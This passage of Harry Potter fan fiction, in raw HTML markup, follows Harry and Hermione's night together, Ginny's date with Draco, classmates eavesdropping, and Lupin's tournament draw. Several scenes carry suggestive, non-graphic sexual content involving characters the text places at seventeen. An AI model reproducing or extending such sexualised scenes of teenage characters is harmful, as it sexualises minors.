class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt the back of his\nlegs hit bed and he stumbled back onto it, landing on his back with a playful\nHermione on his front. She smiled down at him and pinned his hands to the bed.\n&#8220;I had fun tonight.&#8221; She told him softly, speaking with her nose touching his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; He replied, looking\nup at her with a small smile. &#8220;We should do it again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shh,&#8221; She shushed him\nsoftly. &#8220;Just kiss me&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy looked down at Ginny\nwith a small smirk. &#8220;Had fun tonight, Ginny. Maybe we could do something like\nthis again?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ginny crossed her arms and\nsmiled evily up at him. &#8220;You have to ask me out in person next time.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy brought up a hand and\nscratched the back of his head, managing out a small, nervous, laugh. &#8220;Yeah,\nI&#8217;ll do that next time.&#8221; To his surprise she gave him a true happy look.\n&#8220;Ginny&#8230;&#8221; He began, as if unsure. &#8220;Why&#8230;no, never mind. I don&#8217;t need to know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She patted his chest in\nappreciation. &#8220;Let people in, Draco. You&#8217;ll find that not everyone will hurt\nyou.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;&#8230; You know what, Ginny?&#8221;\nMalfoy spoke confidently, but also had an air of realization about him. &#8220;Maybe\nyou&#8217;re right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Of course.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smirked again. &#8220;Well, see\nyou tomorrow then.&#8221; He gave a two fingered wave and turned around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draco!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hm?&#8221; He turned sideways to\nlook at her, but suddenly found the girl hugging him. &#8220;Ginny? Why are you\nclinging to me like a spider-monkey?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ve never been on a date\nbefore have you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;w-what?&#8221; He stammered out,\nshocked. &#8220;Of course I have!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; She looked up at\nhim.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, that is&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;After a date, you&#8217;re\nsupposed to kiss the girl if you think she wants to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You want to kiss me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re supposed to find out\nby trying.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Malfoy stood up straight and\nlooked down at her. Slowly he titled his head forward, surprised to see Ginny\nclose her eyes and part her lips slightly. He moved closer, but veered past her\nlips and brought his close to her ear, whispering. &#8220;I don&#8217;t kiss on the first\ndate.&#8221; And with that he pulled back and gave her a pat on the head before\nwalking away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Party pooper!&#8221; She called\nafter him, getting that damned careless two finger wave again. When he was out\nof sight, she crossed her arms and stared at the stop where he turned for a\nmoment. Then, after a moment, she let herself smile. He passed that test with\nflying colours.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry opened his eyes slowly;\nbring to him a blurry image of someone sleeping next to him. He blinked his\neyes twice slowly and tried to bring his mind from the blurry effects of the\nmorning. The view came clearer to him and he noticed that it was Hermione who\nwas lying against him, sheets all the way under her arms, which were lazily\ndraped around him. He also noticed how much he liked the way her skin felt\nagainst his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry stopped a moment to\nwonder why he felt her skin. Looking at her curiously, he pulled the covers up\na little and realized that she was, in fact, naked beneath them.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">Did we</i>&#8230;?&#8221;\nHe thought a moment, and then shook his head to wake himself up fully. Memories\ncame to his clear mind now. &#8216;<i style="mso-bidi-font-style:normal">We did. Oh\nmy god, I slept with Hermione!</i>&#8217;&nbsp;\nSlowly his worried face became a small grin. &#8216;<i style="mso-bidi-font-style:\nnormal">And it was fun, too</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmhhmmm&#8230;&#8221; Hermione moaned,\nstretching out a little and burying her head against his chest to let out a\nyawn. Her body molded against his, making his mind turn to that of a cold\nshower. When she lifted her head to look up at him inquisitively, Harry felt\nhimself blush.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah, you see, its morning and\nall, and&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione simply shook her\nhead lightly, snuggling up against him. &#8220;Go back to sleep.&#8221; She told him,\nresting her head against his chest. &#8220;It&#8217;s too early, after last night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry blushed. She was still\nas keen as ever it seemed. &#8220;Sure,&#8221; He replied, draping an arm around her and\nrealizing it was still quite dark in their room.&nbsp; Her breath was even against his chest, but\nthe small movements she made told him that she was still awake. &#8220;&#8230; Hermione?&#8221;\nHe asked softly, although there was nobody else in their room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmm?&#8221; She was starting to\ndrift off again, but still found enough consciousness to draw a lazy circle on\nhis back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Last night was&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Amazing.&#8221; She finished for\nhim, planting a small kiss on his neck before pulling back enough to look up at\nhim. &#8220;Or were you going to saw something else?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He smiled fondly down at her\nand kisses her lips. &#8220;No, I was going to say that&#8230;&#8221; He kissed her again. &#8220;I\nnever asked you out. Will you be my girlfriend?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled. &#8220;He asks\nafter he steals my virginity.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I seem to recall it\ndifferently.&#8221; Harry informed her. &#8220;<i style="mso-bidi-font-style:normal">You</i>\nwent down on <i style="mso-bidi-font-style:normal">me</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione rolled him over and straddled\nhis waist. &#8220;Did I?&#8221; She asked innocently, rocking her hips a little bit, making\nhim groan. &#8220;I was going to go back to sleep, but since you asked me out, I\nguess I should give you my answer.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And that is?&#8221; He asked\nhopefully up at her, trying to look in her eyes, as the sheet had fallen off of\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you can figure it\nout.&#8221; She whispered huskily down at him, kissing him deeply. A few moments\nlater, she let out a giggle and then a curt &#8220;Oh <i style="mso-bidi-font-style:\nnormal">Harry..</i>.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron opened the door to his\ndorm happily and closed it while he spun on his heels, singing loud: &#8220;La, da,\nda-da-da!&#8221; The seventeen year old red head took a step forward, then a step\nbackwards, spun again, and danced his way over to Harry&#8217;s room. It took the boy\nalmost thirty seconds to reach the door that could have taken a person about\nfour to reach normally. This was explained by his dancing and few breaks to\nsing a lyric here and there. A few girls were laughing at him, but he didn&#8217;t\nmind it. Lavender kissed him last night and at the current&nbsp; moment all he wanted to do was rub it in his\nbest friend&#8217;s face that he got a girlfriend before him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron lifted his hand to knock,\nnot wanting to burst in on Hermione naked or anything, but his hand froze when\nhe heard a very clear and defined &#8216;Oh, right there&#8217;.&nbsp; The boy&#8217;s face fell and he placed his ear\nagainst the door.&nbsp; It was quiet for a\nmoment, but then he heard a feminine voice yelp out.&nbsp; &#8220;Oh. My. <i style="mso-bidi-font-style:normal">God</i>.&#8221;\nRon whispered in shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yo, Ron, What&#8217;s up?&#8221; Seamus\nasked, looking at him. &#8220;Why is your ear against their door?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron shushed him harshly and\nwaved his hand in a way asking him to come over. Seamus shrugged and placed his\near against the door. &#8220;What is it?&#8221; He asked in a whisper, looking at the\npeople giving them odd looks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Wait for it.&#8221; Ron whispered\nback with a grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Seamus pressed his ear harder against the door\nand gasped when he heard something <i style="mso-bidi-font-style:normal">very</i>\ngraphic. &#8220;Oh. My. <i style="mso-bidi-font-style:normal">God</i>!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Neville looked at the two and\nwalked over, pressing his ear against the door when the two boys made room for\nhim. His face went red and he grabbed the two boys by the collars of their\nrobes, dragging them off. &#8220;Good grief, guys&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Neville, come <i style="mso-bidi-font-style:normal">on</i>! It was getting good too!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus nodded. &#8220;I didn&#8217;t take\nHermione for a screamer&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione laid her head on\nHarry&#8217;s chest and drew a circle lazily on his stomach. She kept her eyes\nclosed, too embarrassed about what they just did to look at him directly. Harry\nlies on his back with a dreamy smile on his face and let his hand run through\nher hair. They hadn&#8217;t said anything since, but neither felt like they had to.\nThe silence lasted a few more moments and Hermione found herself starting to\nslip off into the bliss of sleep while listening to his heart beat. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221; He asked softly\nall of a sudden. The girl on his chest breathed a little harder, showing that\nshe was listening, but too lazy to actually answer him. &#8220;I like you&#8230; a lot, you\nknow that, right?&#8221; She nodded against his chest, making him itch a little from\nher hair. &#8220;I&#8230; just thought I&#8217;d let you know that I love you as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled to herself\nand kissed his chest fondly. &#8220;Me too.&#8221; She replied to him, making it a point to\nsnuggle up closer to him. &#8220;Me too, Harry. I love you too.&#8221; She felt his arms\nembrace her and hold her close. With a smile she closed her eyes and let\nherself fall asleep.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione opened her eyes\nslowly and awoke from sleep the second time that day. With a yawn and a\nstretch, she looked around, noticing how strangely quiet it was. Also there was\na serious lack of body heat.&nbsp; Pulling the\nsheet up to cover herself, she moved back the curtains surrounding the bed and\npeeked out, instantly getting a shock from a very off key note played by Harry.\n&#8220;That&#8217;s strange,&#8221; She heard him say, looking down at his guitar. &#8220;I could have\nsworn that was correct&#8230;&#8221; Suddenly he looked over at her. &#8220;Hiya, Herms.&#8221; He\ngreeted with a smile. &#8220;Didn&#8217;t wake you up did I? I put a silencing charm on the\ncurtains.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That would explain it. &#8220;No,&#8221;\nShe told him, looking him over. &#8220;I just woke up on my own.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah.&#8221; He played another note\nand sighed. Giving up, he stood and walked to the case and replaced the guitar\ninto it. He was wearing some of his pajama pants. She then noticed that the top\nof the pajamas was laying on the night stand next to Harry&#8217;s bed. Snatching it,\nshe retreated back into the curtains and slid it on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right guys, listen up.&#8221;\nProfessor Lupin said as he paced the front of the room. &#8220;As you all know, the\ntournament starts in thirteen days, right?&#8221; It was now January first and school\nwas back in session from the winter break. &#8220;I know that you are all still used\nto sleeping in till noon and not doing any work, but now that school is back in\nswing and the tournament so close, I feel it is needed to work extra hard.\nAlso, your N.E.W.T.s are coming up and you will have a hard time studying for\nyour classes. Not to mention the ones of you that also play Quidditch <i style="mso-bidi-font-style:normal">and</i> will be participating in the\nupcoming tournament&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was still in shock form\nthe word N.E.W.T.&nbsp; Slowly he turned his\nhead to Ron, who was looking quite the same as Harry. &#8220;That&#8217;s&#8230; this year, isn&#8217;t\nit?&#8221; The red head asked his friend, who only nodded his head lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you not study any?&#8221;\nHermione asked, amazed. &#8220;I thought when I went to the library all the time, you\nwould offer to join me, but I just assumed you were studying on your own!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m in trouble&#8230;&#8221; Harry\nwhispered, scared. &#8220;Classes, N.E.W.T.s, Tournament, Quidditch&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sucks to be us.&#8221; Malfoy quipped\nwith a humourless laugh. &#8220;I&#8217;m in the same boat.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;At least I won&#8217;t drown\nalone.&#8221; Harry snorted.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked up. &#8220;Sir!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Your draw?&#8221; Lupin asked,\nraising an eyebrow.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Um?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Draw a number to see which\nteam you will be playing.&#8221; Ginny whispered harshly to him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Right, I knew that.&#8221; Harry\ninsisted on his way up to the front of the room to stick his hand into the\nbowl.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Our fearless leader in\naction.&#8221; Malfoy said sarcastically, crossing his arms, only to be elbowed by\nGinny.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pulled out a small slip\nof paper and opened it. &#8220;Two.&#8221; He declared with a smile. Professor Lupin nodded\nand wrote &#8220;Marauders&#8221; on the second line of the chart that was magically\nfloating at the front of the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right, now that everyone\nhas voted&#8230;&#8221; The teacher waved his wand, making the names randomly scatter\naround. Finally, after a few moments, they settled down in a chart like\nfashion. &#8220;Well, it looks like the first match will be between the Blitz team and\nthe Marauders, followed by The N.W.O. and the Dragon&#8217;s fang. Then the Angels vs.\nHokage.&#8221; He gave this time to sink in. &#8220;There will be one match every two\nweeks. That way we will have time for Quidditch one week and a round of the\ntournament the next.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That means the last match\nwill be like&#8230; two weeks before we leave.&#8221; Harry calculated in his head. &#8220;Man,\nmy schedule is like, packed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll be fine.&#8221; Hermione\ncomforted, taking his hand and giving it an affectionate squeeze. &#8220;Quidditch\nwon&#8217;t be bad, and you&#8217;ll have a complete week free before the N.E.W.T.s, so\nit&#8217;ll all work out fine. Besides, after our first match, we won&#8217;t fight again\nuntil&#8230;&#8221; She quickly calculated it. &#8220;Four weeks, that&#8217;s a month. Plenty of\ntime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I guess you&#8217;re right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know I am.&#8221; She replied,\nlooking around and giving him a quick peck on his cheek by standing on her tip\ntoes. &#8220;Now, don&#8217;t complain anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 